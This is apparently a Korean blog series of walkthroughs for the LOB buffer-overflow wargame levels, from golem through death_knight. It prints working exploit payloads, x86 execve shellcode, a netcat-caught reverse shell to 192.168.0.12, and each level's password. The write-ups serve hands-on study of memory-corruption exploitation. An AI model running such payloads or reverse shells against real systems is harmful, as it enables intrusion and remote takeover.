death_knight의 소스를 확인하도록 하겠습니다.



이코드는 port6666으로 설정하고 256byte의 입력을 받아 buffer에 저장합니다.

Buffer의 크기가 40byte이므로 overflow가 발생하죠.

L.O.B.서버의 6666포트로 접속 하니 문장을 하나 출력하고, 입력을 받고 종료하네요.

메모리에 로드되는 위치를 알 수 없으므로 브루트 포싱으로 ret값을 변경하며 페이로드를 전달하도록 하겠습니다.

 

페이로드의 쉘코드는 역으로 쉘을 연결하는 리버스 쉘 코드이며, peda로 얻었습니다.



192.168.0.1222222포트로 접속을 연결하는 쉘코드입니다.

 

리버스 쉘을 netcat을 통해 받아오도록 합니다.

ret를 브루트포싱하여 페이로드를 구성하고 전달하는 파이썬을 작성합니다.

 

이제 공격 하고 기다리면 됩니다.

death_knight의 쉘이 획득되었습니다.

death_knight의 패스워드는 got the life이네요.

death_knight로 접속해 보도록 하겠습니다.

들어가서 있는 파일을 출력하면 다음과 같이 마법진이 나옵니다.

이로서 LOB의 모든 문제가 다 풀렸습니다.

수고하셨습니다.

우선 xavius(자비스?!)의 코드를 확인해 보도록 하겠습니다.



코드를 보면 상당히 절망적입니다.

우선 stack의 영역을 사용할 수 없습니다.

binary의 영역 또한 사용할 수 없습니다.

라이브러리의 함수는 leaveret로 끝나므로 라이브러리의 함수 또한 사용할 수 없습니다.

stack또한 LD부터 끝까지 ret를 제외하고는 모두 초기화 해버립니다.

 

코드를 보고 조건을 확인하고 굉장히 절망적이었습니다. 입력할 수 있는 곳도 없고, 주소도 확인해서 stack이나 binarylibrary도 사용 할수 없으니 말이죠.

 

근데 코드를 보면서 의문이 든점이 있습니다.

1.    왜 갑자기 argv를 안쓰고 gets를 이용해 stdin으로부터 값을 받아올까?

2.    Library함수를 사용하지 못하게 할꺼면 단순이 0x40만 확인하면 되는것 아닌가?

 

하지만 아무리 생각해도 풀이법을 알 수 없었고, 다른사람의 풀이를 참고하고서야 깨달았습니다.

gets함수를 쓴 이유는 stdin을 사용하기 위함이었고, 0x40을 허용한건 stdin의 주소가 0x40번지에 있기 때문입니다.

 

한번 gdb로 확인해 보도록 하겠습니다.

gets의 전달인자중에 stdin에 해당하는 값이 0x08049a3c입니다.

gets가 끝난 다음에 바로 중단점을 걸고 실행해보도록 하겠습니다. Stdin의 내용을 확인해 보도록 하겠습니다.

0x40015000에 입력해준 값이 들어가 있네요.

 

이번엔 main의 끝에 중단점을 걸고 프로그램이 끝날때에도 이값이 남아 있는지 확인해 보도록 하겠습니다.

프로그램의 끝났을 때에도 값이 남아 있음을 확인할 수 있습니다.

 

그럼 eip0x40015000으로 변경하여 이 메모리 영역에 실행 권한이 있는지 확인해 보겠습니다.

segmentation fault가 발생하는 것으로 보아 실행권한 또한 있네요.

 

이제 stdin에 쉘코드를 넣고 ret0x40015000으로 바꿔주면 될듯 합니다.

이에 해당하는 페이로드는 다음과 같습니다.

NOP*19 + 쉘코드 + 0x40015000

오랜만에 보는 간단한 페이로드네요.

 

테스트 해보도록 하겠습니다.

예상대로 쉘이 획득 하였습니다. stdin의 주소는 0x40015000으로 고정인 듯 하여 다른 추가적인 작업은 필요 없네요.

 

이제 원본 파일에 시도해보도록 하겠습니다.

성공적으로 xavius의 쉘을 획득하였습니다.

xavius의 패스워드는 throw me away입니다.

우선 nightmare의 소스를 확인해 보도록 하겠습니다.

ret의 부분은 반드시 strcpy의 주소로 덮어 주어야 하고요.

스택의 ret다음 4byteAAAA로 초기화 해주는 코드가 보이네요.

 

처음에 이 문제를 어떻게 풀어야 하나 많이 고민을 많이 했습니다.

힌트에 PLT라고 적혀 있어서 strcpy를 통해 plt를 수정해서 system을 실행시켜야 하나 고민했었죠.

 

하지만 생각보다 strcpy를 이용한 문제풀이는 간단하였습니다.

 

기본 아이디어는 다음과 같습니다.

메모리에 system’s address + \x11\x11\x11\x11 + “/bin/sh”’s adress로 구성 되어 있는 데이터를 집어 넣는다.

strcpy함수를 통하여 데이터의 내용을 strcpy’s address가 들어있는 ret의 다음 4byte위치에 덮는다.

 

스택을 보며 설명해 드리도록 하겠습니다.

 

Buff’s address

RET’s address+4

AAAA

RET : strcpy’s address

NOP * 32

“/bin/sh”’s address

\x11\x11\x11\x11

System’s address

main함수가 끝나기 전에는 스택의 구성이 위와 같이 됩니다.

 

그리고 main함수가 끝난 후 RETstrcpy’s address로 인하여 strcpy가 실행되게 됩니다.

RET+4에는 RET’s address+4, RET+8에는 Buff’s address를 전달해 주었으니 strcpy(&RET+4, &Buff)가 실행되게 됩니다.

Buff의 내용이 RET+4에 덮어 씌워지게 되는 것이죠.

 

그럼 strcpy가 끝난 후 스택의 모습은 다음과 같이 될것입니다.

“/bin/sh”’s address

\x11\x11\x11\x11

System’s address

RET : strcpy’s address

NOP * 32

“/bin/sh”’s address

\x11\x11\x11\x11

System’s address

RET strcpy함수가 끝났으므로 그 위의 system함수를 실행하고 인자는 /bin/sh가 될것이고, 결과적으로 쉘이 뜰것입니다.

 

이를 위한 페이로드는 다음과 같습니다.

system’s address + 0x11111111 + “/bin/sh”’s address + NOP*32 + strcpy’s address + AAAA + (RET’s address + 4) + Buff’s address

 

그럼 우선 필요한 값들을 얻도록 하겠습니다.

strcpy의 주소는 0x08048410입니다.

system의 주소는 0x40058ae0입니다.


“/bin/sh”의 주소는 0x400fbff9입니다.

 

그리고 RET’s address + 4의 값은 ebp+8로 계산하고, Buff’s addressebp-40으로 구하면 됩니다.

 

현재까지 구한 값을 페이로드에 반영하고 디버깅 하여 ebp를 확인하여 나머지 값들도 얻도록 하겠습니다.

획득한 ebp의 값은 0xbffffab8입니다.

따라서 strcpy에서 dest이 될 주소는 0xbffffac0, src가 될 주소는 0xbffffa90이 될듯 하네요.

 

페이로드에 이를 반영하여 테스트 해보도록 하겠습니다.

역시 세그펄트가 발생했네요. 한번에 될거란 기대도 없었습니다.

 

core dump를 이용해 디버깅 하여 buff의 주소를 알아보도록 하겠습니다.

dest의 주소는 srcbuff의 주소에 0x30만 더해주면 되니깐요.

buff의 시작 주소는 0xbffffaa0이네요. 그럼 dest의 주소는 0xbffffad0입니다.

 

페이로드를 수정하여 테스트 하도록 하겠습니다.

복사본에서 쉘이 획득 되었습니다.

 

메모리의 주소값이 바뀌기 전에 어서 원본파일에 공격하도록 하겠습니다.

성공적으로 nightmare의 쉘이 획득 되었습니다.

nightmare의 패스워드는 beg for me입니다.

succubus의 소스코드를 확인하도록 하겠습니다.


이번 코드는 상당히 기네요.

우선 MO부분에 system(cmd)가 보이네요.

이번 목표는 MO를 실행해서 cmd/bin/sh를 전달하는 것으로 보입니다.

MODO부터 시작해서 GYE, GUL, YUT를 거쳐야만 실행이 되구요.

 

Main내부코드들을 보면 매개변수에 \x40가 있으면 안되구요. 처음 ret에 반드시 DO의 주소값이 들어가야 합니다.

 

그리고 ret 부터 100byte 만큼을 제외한 나머지는 0으로 초기화 해주고요.

 

그럼 우선 스택을 어떻게 구성해야하는지 한번 생각해 봐야겠습니다.

DO의 경우는 스택을 다음과 같이 구성하면 실행할 수 있습니다.

DO`s address

SFP

Buffer

main함수가 종료될때 ret를 통해 DO`s addresspop되어 eip로 들어가게 되고, espDO`s address를 가르키게 됩니다.

 

그리고 DO가 실행되고 프롤로그를 지나면 push ebp를 거쳐 스택의 내용은 다음과 같이 바뀌게 되겠죠.

SFP

SFP

Buffer

그리고 DO함수가 끝날때는 SFP위의 내용을 eip로 들어가게 됩니다.

즉 처음 스택을 구성할때 DO`s address위에 있는 값이 eip에 들어가게 되는 것이죠.


그렇다면 DO, GYE, GUL, YUT, MO를 차례대로 실행시키기 위해서는 스택을 다음과 같이 구성을 하면 됩니다.

MO’s address

YUT’s address

GUL’s address

GYE’s address

DO’s address

SFP

Buffer

각 함수가 시작되면 해당 함수의 주소가 있는 부분이 SFP가 되니 함수가 끝나게 되면 그 위의 값이 EIP에 들어가게 되는 것이죠.

이렇게 스택을 구성하게 되면 DO가 끝나고 차례로 GYE, GUL, YUT, MO가 실행 될것입니다.


그럼 우선 DO, GYE, GUL, YUT, MO의 주소값을 알아내어 입력해 주도록 하겠습니다.

DO의 주소는 0x080487ec

GYE의 주소는 0x080487bc

GUL의 주소는 0x0804878c

YUT의 주소는 0x0804875c

MO의 주소는 0x08048724입니다.

 

이를 이제 인자로 넘겨줘서 테스트 해보도록 하겠습니다.

예상대로 MO까지 실행 시켰습니다.

그럼 이제 남은것은 MO“/bin/sh”를 인자로 전달하는 것만 남았네요.

 

아까 그려본 스택을 생각해 보면 함수의 주소부분이 함수 내부에서는 SFP로 바뀐다고 했습니다. 즉 첫번째 인자를 전달하기 위해서는 함수의 주소가 있는 부분 +8byte부분에다가 데이터를 집어 넣으면 됩니다.


스택으로 구성해보면 다음과 같이 되겠죠.

“/bin/sh”’s address

Dummy(4byte)

MO’s address

YUT’s address

GUL’s address

GYE’s address

DO’s address

SFP

Buffer

그럼 페이로드는 다음과 같이 구성하면 될듯 합니다.

 

`python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + /bin/sh’s address + "/bin/sh"'`

 

그럼 /bin/sh의 주소가 어딘지 확인해 보도록 하겠습니다.

0xbffffc70/bin/sh의 값이 들어가 있네요.

이를 페이로드에 반영해 테스트 해보도록 하겠습니다.


세그펄트가 발생했으므로 디버깅해 주소를 확인해 보도록 하겠습니다.


0xbffffaa8/bin/sh이 들어 있네요. 이를 반영해서 다시 테스트 해보도록 하겠습니다.

쉘이 정상적으로 떳네요.


이제 원본 파일에 테스트 해보도록 하겠습니다.

성공적으로 succubus의 쉘이 획득되었습니다.

succubus의 패스워드는 here to stay입니다.

zombile_assassin의 소스를 먼저 확인하도록 하겠습니다.

strcpy대신 strncpy를 사용해서 값을 입력하네요. 다른 방법을 이용해야 할듯 합니다.


그런데 위에 보니 FEBP라는게 적혀있네요. FEBPFake EBP의 약자입니다.

이름에서 알 수 있듯이 EBP를 조작해서 푸는 문제입니다.


Fake EBP의 공격 기법에 대하여 간단히 설명하도록 하겠습니다.

Assassin문제를 풀때 retpop이 있는 곳으로 하는것이 핵심이었다면, 이문제는 retleave가 있는 곳으로 하는것이 핵심입니다.


스택을 보며 설명을 하도록 하겠습니다.

FEBP공격을 할때 스택을 다음과 같이 구성합니다.

ret(쉘코드’s address)

FEBP

ret(leave’s address)

SFP(FEBP’s address)

Buffer

FEBP의 동작순서는 다음과 같습니다.

1.    leave(mov esp, ebp; pop ebp)수행
mov esp, ebp
를 통해 esp, ebp모두 SFP를 가르키게 됩니다.
pop ebp
를 통해 SFP의 데이터가 ebp로 들어갑니다. 이로 인하여 ebpFEBP를 가르키게 됩니다.

2.    ret(pop eip)수행
pop eip
를 통하여 eipleave명령어를 가르키게 됩니다.

3.    다시 leave수행
mov esp, ebp
를 통해 esp, ebp모두 FEBP를 가르키게 됩니다.
pop ebp
를 통해 FEBP의 데이터가 ebp로 들어갑니다. 이로 인하여 espFEBP위의 ret를 가르키게 됩니다.

4.    다시 ret수행
pop eip
를 통하여 eip는 쉘코드를 가르키게 됩니다.

 

즉, leaveret를 두번 반복 수행하여 원하는 위치의 ret를 이용해 쉘코드를 동작 시키는 것입니다.

 

그럼 예상 페이로드는 다음과 같이 됩니다.

`python –c ‘print “A”*44 + FEBP’s address + leave’s address’` `python –c ‘print “AAAA”*4 + 쉘코드’s address + NOP슬라이드 + 쉘코드

 

입력의 편의를 위하여 매개변수를 2개 전달하도록 하겠습니다. 두번째 매개변수의 내용을 첫번째에 이어서 입력해도 되고, 버퍼를 이용해도 됩니다.

 

그럼 필요한 정보들을 획득하도록 하겠습니다.

우선 leave의 주소를 획득하도록 하겠습니다.

leave의 주소는 0x080484df입니다.

 

main+3에 중단점을 걸고 작성한 페이로드를 전달해 FEBP의 주소와, 쉘코드의 주소를 얻어내도록 하겠습니다.


FEBP의 주소는 0xbffffc1c로 잡혔고, 쉘코드의 주소는 0xbffffc30으로 하면 될듯 합니다.

 

이를 반영해 페이로드를 다시 작성하여 시도해보도록 하겠습니다.

세그펄트가 떳으므로 coredump로 디버깅 하도록 하겠습니다.

 

FEBP의 주소는 0xbffffbc9, 쉘코드의 주소는 0xbffffbe0으로 하면 될듯 합니다.

 

페이로드에 이를 반영해 다시 시도하도록 하겠습니다.

쉘이 떳네요.

 

이제 원본 파일을 대상으로 공격하도록 하겠습니다.

성공적으로 zombie_assassin의 쉘이 떳습니다.

Zombie_assassin의 패스워드는 no place to hide입니다.

assassin의 소스를 보도록 하겠습니다.

소스를 보고 알수 있는 정보를 정리해 보겠습니다.

1.    매개변수의 갯수 제한이 없어졌습니다

2.    매개변수의 길이 제한이 없어졌습니다.

3.    ret에 스택 주소를 사용할 수 없습니다.

4.    ret에 라이브러리 주소를 사용할 수 없습니다.

5.    buffersfp0으로 초기화 됩니다.

 

지금까지 풀이는 stack에 쉘을 올리고 eip를 그곳으로 변경하거나, rtl을 이용하여 문제를 풀었습니다. 다만 이번에는 ret에 그 주소값을 넣을 수 없게 제한이 걸려있습니다.

 

하지만 매개변수의 길이에 제한이 없기 대문에 ret바로 위에는 아무 주소나 입력 할 수 있습니다.

바로 이것이 이번 문제를 풀기위한 방법입니다.

즉 스택에서 ret다음 있는 메모리의 데이터를 어떻게 eip에 전달하느냐 입니다.

ret에 있는 데이터가 eip로 전달 되는 과정은 다음과 같습니다.

1.    Espret가 들어 있는 메모리를 가르킨다.

2.    ret(pop eip) 명령어를 통해 ret메모리의 내용을 eip에 전달한다.

 

그럼 스택상 ret위에 있는 영역의 값을 eip에 전달 하기 위해선 esp를 한번더 위로 올려주어야 합니다.

pop을 한번 더 해주어야 하는 것이지요.

 

어렵게 생각 할 것 없이 leave다음 ret2번 수행된다고 생각하면 됩니다.

즉 스택의 ret0x0804851e를 넣어 주면 되는 것이죠. 주소가 08로 시작하기 때문에 입력 조건에 걸러지지도 않습니다.

 

Ret0x0804851e를 넣어주고 뒤이어 쉘코드의 주소와 NOP슬라이드와 쉘코드를 넣어주면 됩니다.

 

페이로드는 다음과 같이 됩니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + 쉘코드주소 + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

쉘코드의 주소를 알아내도록 하겠습니다.

NOP슬라이드가 들어있는 영역으로 보아 0xbffffc70으로 주소를 넣어주면 될듯 합니다.

 

완성된 페이로드는 다음과 같습니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\x70\xfc\xff\xbf" + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이제 테스트를 해보도록 하겠습니다.

세그펄트가 발생하였으니 core dump를 이용해 디버깅해 보도록 하겠습니다.

 


쉘코드가 들어가 있는 주소가 바뀌어서 안되었네요.

주소를 0xbffffab0으로 변경하여 다시 시도하도록 하겠습니다.

 

쉘이 획득 되었네요. 원본 파일을 대상으로 공격하도록 하겠습니다.

 


assassin의 쉘이 획득 되었습니다.

assassin의 패스워드는 pushing me away입니다.

giant의 소스를 확인하도록 하겠습니다.

소스코드가 많이 길어졌습니다.

먼저 코드의 설명을 하도록 하겠습니다.

 

우선 24~27번까지의 코드를 이용해 libc의 메모리 주소를 획득합니다.

libc가 위치하고 있는 메모리의 주소는 0x40018000입니다.

 

그리고 29~32번까지의 코드를 통해 execve의 오프셋을 구합니다.

execve의 오프셋은 0x00091d48입니다.

 

그리고 34번의 코드를 통해 execve의 메모리상 주소를 구합니다.

0x40018000 + 0x00091d48를 통해 얻은 execve의 메모리상 주소는 0x400a9d48입니다.

 

그후 조건 검사를 통해 argv[1][44]에 오게 되는 주소의 값이 execve의 주소와 같지 않으면 프로그램을 종료합니다.

 

즉 우리는 execve함수를 이용하여 이번문제를 풀어야 합니다.


execve함수에 대한 설명은 다음과 같습니다.

첫번째 인자를 실행하며 두번째 인자는 전달해줄 매개변수 입니다. 세번째 변수는 환경변수가 들어갑니다.

 

Execve에는 exit를 전달하여 바로 종료 execve를 바로 종료하고 system(“/bin/sh”)로 쉘을 획득 할 것입니다.

이를 위한 스택 구조는 다음과 같습니다.

NULL

“/bin/sh”’s address

exit’s address

system()’s address

execve’s address

SFP

Buffer(44byte)

Execve의 값은 0x400a9d48로 구해놓았습니다.

 

나머지 값을 알아보도록 하겠습니다.

system exit함수의 주소는 디버깅을 통해 구하면 됩니다.

system()의 주소는 0x40058ae0,

exit()의 주소는 0x400391e0이네요.

 

이제 /bin/sh의 주소를 얻도록 하겠습니다.

“/bin/sh”가 들어있는 메모리 주소는 0x400fbff9입니다.

NULL은 스택의 0xbfffffffc영역에는 항상 NULL이 들어가므로 이를 이용하겠습니다.

 

다시한번 필요한 정보를 정리해보겠습니다.

execve           : 0x400a9d48

system           : 0x40058ae0

exit               : 0x400391e0

“/bin/sh”        : 0x400fbff9

NULL             : 0xbffffffc

 

이 정보를 종합하여 페이로드를 짜면 다음과 같이 됩니다.

`python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “\xe0\x8a\x05\x40” + “\xe0\x91\x03\x40” + “\xf9\xbf\x0f\x40” + “\xfc\xff\xff\xbf”’`


이제 이를 입력하도록 하겠습니다.

이때 중요한것은 \x0a\x00으로 인식하여 뒷부분이 들어가지 않으므로 매개변수를 “”로 묶어 주어야 합니다.

giant의 쉘이 떳습니다.

giant의 패스워드는 one step closer입니다.

 

이 방법 이외에도

execve(&“/bin/sh”, &&”/bin/sh”, NULL)과 같은 입력을 하는 것으로 스택을 구성하여 푸는 방법도 있습니다.


&”/bin/sh”0x400fbff9를 입력해 주면 되고

&&”/bin/sh”는 이름이 0x400fbff9giant의 링크파일을 생성하여 그것이 메모리에 올라가게 하여 그 메모리를 이용하는 것입니다.


이경우의 페이로드는 다음과 같이 됩니다.

`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xfb"'`"


그러나 저는 다음 사진 처럼 쉘이 뜨지않고 그냥 종료되어 방법을 변경하였습니다.


bugbear의 소스를 확인하는 것으로 시작하겠습니다.

스택이 배신을 했다고 나오네요. 시작주소가 메모리의 시작주소가 \xbf인 곳은 사용 불가능합니다.

그럼 메모리의 공유 라이브러리 쪽의 함수를 사용하는 RTL기법을 사용하면 될듯 합니다.

RTL기법은 LOB gate를 풀 때 보다 자세히 적어 놓았습니다.

http://grayfieldbox.tistory.com/entry/LOBLord-Of-BufferOverflow-gate-gremlin

 

system(“/bin/sh”);라는 명령어를 스택에 구축하도록 하겠습니다.

만들어주어야 하는 스택의 모습은 다음과 같습니다.

“/bin/sh”’s address

junk(4byte);

system()’s address

SFP

buffer(44byte)

 

우선 system()함수가 들어있는 주소를 알아내도록 하겠습니다.

0x40058ae0system()이 존재하네요.

 

이제 /bin/sh의 문자열을 메모리에 넣고 주소값을 얻어내겠습니다.

/bin/sh가 들어있는 주소는 0x400fbff9입니다.

 

페이로드는 다음과 같이 됩니다.

“A”*44 + “\xe0\x8a\x05\x40” + “\x90”*4 +”\xf9\xbf\x0f\x40”

예상대로 쉘이 획득 되었습니다.


이제 원본 파일을 대상으로 진행하겠습니다.

성공적으로 bugbear의 쉘이 획득 되었습니다.

bugbear의 패스워드는 new divide입니다.

darkknight의 소스를 우선 확인하겠습니다.

코드가 확 짧아졌네요.

problem_child함수가 argv[1]을 받아와 버퍼에 입력 하는데 이상한점은 버퍼가 40byte인데 41byte를 입력하네요.

값을 입력할 때 1byte가 초가되어 SFP의 제일 마지막 1byte를 덮어 씌울것으로 보입니다.

 

이러한 취약점을 Frame Pointer Overflow라고 합니다.

 

스택에서 SFP위 주소에는 RET가 존재합니다.

SFP가 가르치는 메모리의 +4byte에 있는 값은 다음 명령어의 실행 주소가 됩니다.

 

이번 문제는 이를 이용하는 문제입니다.

problem_child에서 SFP의 마지막 1자리를 우리가 원하는 대로 변조할수 있다는건 EBP를 원하는데로 설정 할 수 있다는 뜻입니다.

만약 41번째에 0xa0을 입력하여 problem_childSFP0xbfffffa0이 들어가게 되면, problem_child함수가 끝나고 ebp0xbfffffa0가 되고, main함수가 끝날때 ebp+4의 값이 eip로 들어가니 0xbfffffa4의 값이 eip에 들어가게 됩니다.

 

그럼 문제는 해결 된듯 합니다.

problem_childebp만 구할수 있다면, 원하는 값을 다 넣을수 있죠.

 

gdb를 통해 problem_child ebp값을 알아보겠습니다.

problem_childebp값은 0xbffffabc입니다.


ebp-40부터 40byte데이터를 확인해 보도록 하겠습니다.

0xbffffab4부터 40byte A가 들어가있고 41번째에 B가 들어가 sfp0xbffffa42로 바꾸었습니다.

 

페이로드를 생각을 해보면 sfp0xbffffab0으로 수정하고 버퍼에는 eip + NOP슬라이드 + 쉘코드를 넣으면 될듯 합니다.

0xbffffab8(4byte) + NOP슬라이드(11byte) + 쉘코드(25byte) + \xb0

 

예상한대로 값을 넣도록 하겠습니다.

세그펄트가 떳네요.

 

core dump로 원인을 확인해 보겠습니다.

스택의 영역이 조금 밀렸네요.


SFP0xbffffac0으로 수정해주고 eip값을 0xbffffac8로 변경해 주도록 하겠습니다.

성공적으로 쉘이 획득되었습니다.

 

원본 파일을 대상으로 공격하도록 하겠습니다.

성공적으로 darkknight의 쉘이 획득되었습니다.

darkknight의 패스워드는 new attacker이네요.

Gloem의 소스를 먼저 보겠습니다.

코드에 변경점이 좀 있네요.

Egghunter가 사라졌으니 환경변수를 입력 가능합니다.

그리고 프로그램 종료 전에 buffer부터 0xbffffffff까지 ret주소가 들어있는부분을 제외하고는 전부다 0으로 초기화 하네요.

즉 매개변수, 버퍼, 환경변수 다 사용 불가능하다는 얘기 같습니다.

 

그럼 저희가 쉘코드를 넣을수 있는 위치는 buffer 아랫부분에 있는 메모리 영역입니다.

Code, data, bss영역은 코드 컴파일시에 결정이 나고, heap영역은 동적할당으로 잡히는 영역이니 프로그램 실행시에 저희가 임의로 값을 넣어줄 수는 없습니다.

 

그럼 할수 있는 방법이 무엇이 있을 까요?

 

여기서 잠시 생각해 봐야 하는 것은 프로그램이 동작할때 메모리에 실행한 프로그램만 로드하는 것이 아니라는 것입니다. 프로그램 내부에서 사용하는 함수들도 실행을 해야하니 전부 메모리에 로드를 해야곘죠.

 

일반적으로 내부 함수들은 외부 라이브러리에 존재하기때문에 다른 메모리 영역에 존재합니다.

프로그램에서 사용하고 있는 memset이나 strcpy등 다른 함수들은 다 메모리 중 저 위치에 로드가 되어 있는 것입니다.

그래서 실행시에 저기서 가져오게 되는 것이죠.

 

그럼 여기에 등록이 되어 있지 않은 다른 임의 함수를 추가해서 사용할 때는 어떻게 될까요?

메모리 상에 로드를 해야 실행을 할 수 있을테니 프로그램 동작시에 사전에 메모리에 로드하게 될것입니다.

이러기 위한 환경변수가 리눅스에 존재 합니다.

바로 LD_PRELOAD이죠. LD_PRELOAD 환경변수에 파일을 등록 하면 프로그램이 메모리에 로드 되기 전에 환경변수에 등록한 파일을 먼저 메모리에 로드하게 됩니다.

 

그리고 이전 문제에서의 기억을 되짚어 보면 프로그램의 해당 메모리 영역의 끝부분에는 해당 프로그램의 이름이 올라가 있습니다.

 

, 만약 LD_PRELOAD 환경변수에 AA라는 이름의 파일을 등록하고 프로그램을 실행하면 프로그램의 스택 아래쪽에는 AA라는 이름의 파일의 코드가 등록이 되고 그 파일의 이름 또한 스택에 존재하겠죠.

 

코드상에서 0으로 초기화 하는것은 buffer부터 0xbfffffff까지 이므로 LD_PRELOAD로 메모리에 로드한 영역은 초기화 되지 않습니다.

 

이 방법을 이용해 이번 문제를 풀면 됩니다.

 

우선 아무런 동작을 하지 않는 파일을 하나 만들어 쉘코드 이름으로 컴파일 해주도록 하곘습니다.

shared object를 컴파일 하기 위한 명령어는 gcc –fPIC –shared입니다.

 

이제 환경변수 LD_PRELOAD에 이 파일을 등록해 주면 됩니다.

정상적으로 쉘코드를 이름으로 하고 있는 파일이 LD_PRELOAD에 등록이 되었네요.

 

이제 gdb를 통해 이 이름의 위치를 확인하도록 하겠습니다.

golem의 메모리 영역보다 아래쪽에 있을테니 esp-3000부터 확인하도록 하겠습니다.



NOP 슬라이드와 쉘코드가 메모리에 적재되어 있는것이 보이네요. Ret 주소에 대략 0xbffff5a0쯤 넣어주면 될것 같습니다.

 

쉘이 떳네요.

 

이제 원본 파일을 대상으로 공격하도록 하겠습니다.

golem의 쉘을 획득 하였네요.

golem의 패스워드는 cup of coffee라고 합니다.

+ Recent posts